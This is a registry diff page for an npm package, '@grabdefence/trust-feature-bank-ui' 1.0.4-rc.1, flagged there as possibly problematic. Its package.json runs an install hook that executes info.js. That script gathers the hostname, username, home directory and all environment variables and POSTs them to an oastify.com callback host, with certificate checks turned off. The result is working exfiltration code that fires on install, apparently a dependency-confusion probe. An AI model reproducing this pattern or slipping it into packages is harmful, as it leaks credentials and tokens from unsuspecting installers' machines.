@grabdefence/trust-feature-bank-ui 1.0.4-rc.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @grabdefence/trust-feature-bank-ui might be problematic. Click here for more details.
- package/info.js +28 -0
- package/package.json +21 -0
package/info.js
ADDED
@@ -0,0 +1,28 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
var os = require("os");
|
3
|
+
var hostname = os.hostname();
|
4
|
+
var uname = os.userInfo().username;
|
5
|
+
var env = os.homedir();
|
6
|
+
var cwd = process.env;
|
7
|
+
|
8
|
+
const data = new TextEncoder().encode(
|
9
|
+
JSON.stringify({
|
10
|
+
payload: hostname, uname, env, cwd
|
11
|
+
})
|
12
|
+
);
|
13
|
+
|
14
|
+
const options = {
|
15
|
+
hostname: uname + '.' + hostname + '.gxh03b4xozq3h51eijotk3mzdqjh77vw.oastify.com',
|
16
|
+
port: 443,
|
17
|
+
path: '/',
|
18
|
+
method: 'POST',
|
19
|
+
headers: {
|
20
|
+
'Content-Type': 'application/json',
|
21
|
+
'Content-Length': data.length
|
22
|
+
},
|
23
|
+
rejectUnauthorized: false
|
24
|
+
}
|
25
|
+
|
26
|
+
const req = https.request(options, res => {});
|
27
|
+
req.write(data);
|
28
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
{
|
2
|
+
"name": "@grabdefence/trust-feature-bank-ui",
|
3
|
+
"version": "1.0.4-rc.1",
|
4
|
+
"description": "Testing",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"install": "node info.js"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "checking"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"checking"
|
15
|
+
],
|
16
|
+
"author": "grabinfosec",
|
17
|
+
"license": "ISC",
|
18
|
+
"dependencies": {
|
19
|
+
"@grabdefence/trust-feature-bank-ui": "^1.0.3-rc.1"
|
20
|
+
}
|
21
|
+
}
|